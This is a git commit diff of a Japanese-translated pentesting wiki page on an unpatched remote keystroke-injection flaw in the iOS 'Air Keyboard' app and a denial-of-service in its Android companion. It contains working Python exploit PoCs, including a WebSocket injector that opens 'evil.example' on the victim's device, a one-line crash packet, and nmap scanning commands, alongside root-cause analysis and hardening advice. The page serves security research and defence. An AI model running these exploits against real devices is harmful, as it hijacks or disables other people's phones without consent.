Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in

This commit is contained in:
Translator 2025-07-30 14:15:27 +00:00
parent 8a25bba5e0
commit 8bb5bbae7f

View File

@ -1,18 +1,26 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
iOS版の商用「Air Keyboard」アプリケーションApp Store ID 6463187929は、**ポート8888でクリアテキストTCPサービスを開き**、**認証なしでキーストロークフレームを受け入れます**。 同じWi-Fiネットワーク上の任意のデバイスがそのポートに接続し、被害者の電話に任意のキーボード入力を注入することができ、**完全なリモートインタラクションハイジャック**を達成します。
iOS版の商用**「Air Keyboard」**アプリケーションApp Store ID 6463187929は、**認証や発信元の検証なしにキーストロークフレームを受け入れる**ローカルネットワークサービスを公開しています。インストールされているバージョンに応じて、サービスは次のいずれかです:
対応するAndroidビルドは**ポート55535**でリッスンします。 弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミが**OpenSSL復号ルーチンで未処理の例外を引き起こし**、バックグラウンドサービスをクラッシュさせます(**DoS**)。
* **≤ 1.0.4** **ポート 8888** で生のTCPリスナーが、2バイトの長さヘッダーの後に*デバイスID*とASCIIペイロードを期待します。
* **≥ 1.0.5 (2025年6月)** *同じ*ポート(**8888**)で**WebSocket**リスナーが、`{"type":1,"text":"…"}`のような**JSON**キーを解析します。
したがって、同じWi-Fi / サブネット上の任意のデバイスは、**被害者の電話に任意のキーボード入力を注入し、完全なリモートインタラクションのハイジャックを達成**できます。
対応するAndroidビルドは**ポート 55535**でリスニングします。弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミデータでも**OpenSSL内で未処理の例外を引き起こし**、バックグラウンドサービスをクラッシュさせます(**DoS**)。
> この脆弱性は**執筆時点2025年7月で未修正**であり、アプリケーションはApp Storeで利用可能なままです。
---
## 1. サービス発見
ローカルネットワークをスキャンし、アプリで使用される2つの固定ポートを探します:
ローカルネットワークをスキャンし、アプリで使用される2つの固定ポートを探します
```bash
# iOS (input-injection)
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24
```
Android端末では、責任のあるパッケージをローカルで特定できます:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. フレームフォーマット (iOS)
**脱獄したiOS**では、`lsof -i -nP | grep LISTEN | grep 8888`を使って似たようなことができます。
バイナリは、`handleInputFrame()` ルーチン内の次の解析ロジックを明らかにします:
---
## 2. プロトコルの詳細 (iOS)
### 2.1 レガシー (≤ 1.0.4) カスタムバイナリフレーム
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
宣言された長さには `device_id` バイトが含まれていますが、2 バイトのヘッダー自体は含まれていません
宣言された *length*`device_id` バイトを **含むが** 2 バイトのヘッダー自体は含まない
## 3. エクスプロイト PoC
### 2.2 現在 (≥ 1.0.5) WebSocket 上の JSON
バージョン 1.0.5 はポート番号を変更せずに WebSocket に静かに移行しました。最小限のキーストロークは次のようになります:
```json
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
ハンドシェイク、トークン、または署名は必要ありません - 最初のJSONオブジェクトがすでにUIイベントをトリガーします。
---
## 3. エクスプロイトPoC
### 3.1 ターゲティング ≤ 1.0.4 (生TCP)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
print("[+] Injected", keystrokes)
```
任意の印刷可能なASCII`\n``\r`、特殊キーなどを含むは送信可能であり、攻撃者に物理的なユーザー入力と同じ力を与えますアプリの起動、IMの送信、フィッシングURLの訪問など。
### 3.2 ターゲティング ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
## 4. Android Companion サービス拒否
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*任意の印刷可能なASCII — 改行、タブ、ほとんどの特殊キーを含む — を送信でき、攻撃者は物理的なユーザー入力と同じ力を持ちますアプリの起動、IMの送信、悪意のあるURLのオープン、設定の切り替えなど。*
Androidポート55535は、**ハードコーディングされたAES-128-ECBキー**で暗号化された4文字のパスワードとランダムなンスを期待します。 解析エラーは`AES_decrypt()`にバブルアップし、キャッチされず、リスナースレッドが終了します。 したがって、単一の不正なパケットで正当なユーザーを切断し、プロセスが再起動されるまで接続を維持するのに十分です。
---
## 4. Android Companion Denial-of-Service
Androidポート55535は、**ハードコーディングされたAES-128-ECBキーで暗号化された4文字のパスワード**の後にランダムなノンスを期待します。 解析エラーは`AES_decrypt()`にバブルアップし、キャッチされず、リスナースレッドが終了します。 したがって、単一の不正なパケットで、プロセスが再起動されるまで正当なユーザーを切断し続けることができます。
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. 根本原因
---
1. **受信フレームのオリジン/整合性チェックなし** (iOS)。
2. **暗号の誤用** (静的キー、ECB、長さ検証の欠如) および **例外処理の欠如** (Android)。
## 5. 関連アプリ 繰り返されるアンチパターン
## 6. 緩和策と強化アイデア
Air Keyboardは**孤立したケースではありません**。他のモバイル「リモートキーボード/マウス」ユーティリティも同じ欠陥を抱えています:
* モバイル端末で認証されていないサービスを決して公開しない。
* オンボーディング中にデバイスごとの秘密を導出し、入力処理の前にそれらを検証する。
* リスナーを `127.0.0.1` にバインドし、相互認証された暗号化トランスポート (例: TLS, Noise) を使用してリモートコントロールを行う。
* モバイルセキュリティレビュー中に予期しないオープンポートを検出する (`netstat`, `lsof`, `frida-trace` on `socket()` など)。
* エンドユーザーとして: Air Keyboard をアンインストールするか、信頼できる隔離された Wi-Fi ネットワークでのみ使用する。
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 は認証されていないコマンド実行とプレーンテキストのキーロギングを許可します。
* **PC Keyboard ≤ 30** CVE-2022-45479/80 は認証されていないRCEとトラフィックスヌーピングを許可します。
* **Lazy Mouse ≤ 2.0.1** CVE-2022-45481/82/83 はデフォルトでパスワードなし、弱いPINのブルートフォースとクリアテキストの漏洩があります。
## 検出チートシート (ペンテスター)
これらのケースは、**モバイルアプリのネットワークに対する攻撃面の体系的な無視**を浮き彫りにしています。
---
## 6. 根本原因
1. 受信フレームに対する**オリジン/整合性チェックなし**iOS
2. **暗号の誤用**静的キー、ECB、長さ検証の欠如と**例外処理の欠如**Android
3. **ユーザーが付与したローカルネットワーク権限 ≠ セキュリティ** iOSはLANトラフィックのためにランタイムの同意を要求しますが、適切な認証の代わりにはなりません。
---
## 7. ハードニングと防御策
開発者への推奨:
* リスナーを**`127.0.0.1`**にバインドし、リモートコントロールが必要な場合は**mTLS**または**Noise XX**をトンネリングします。
* **オンボーディング中にデバイスごとの秘密を導出**QRコードまたはペアリングPINし、入力処理の前に*相互*認証を強制します。
* 生のソケットの代わりに*NWListener* + TLSを使用して**Apple Network Framework**を採用します。
* フレームの復号化またはデコード時に**長さプレフィックスの健全性チェック**と構造化された例外処理を実装します。
ブルーチーム/レッドチームのクイックウィン:
* **ネットワークハンティング:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` または Wiresharkフィルター `tcp.port == 8888`
* **ランタイム検査:** Fridaスクリプトで`socket()`/`NWConnection`をフックして予期しないリスナーをリストします。
* **iOSアプリプライバシーレポート設定 ▸ プライバシーとセキュリティ ▸ アプリプライバシーレポート)**はLANアドレスに接続するアプリを強調表示します 悪意のあるサービスを見つけるのに役立ちます。
* **モバイルEDR**は、ポート8888のクリアテキストTCPペイロード内のJSONキー`"selectionStart"``"selectionEnd"`に対してシンプルなYara-Lルールを追加できます。
---
## 検出チートシート(ペンテスター)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---
## 参考文献
- [Air Keyboard iOSアプリのリモート入力インジェクション脆弱性は未修正のまま](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurityアドバイザリー WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
- [Exploit-DB 52333 Air Keyboard iOS App 1.0.5 リモート入力インジェクション](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (2025年7月17日) Air Keyboard iOS Appのリモート入力インジェクション脆弱性は未修正のまま](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}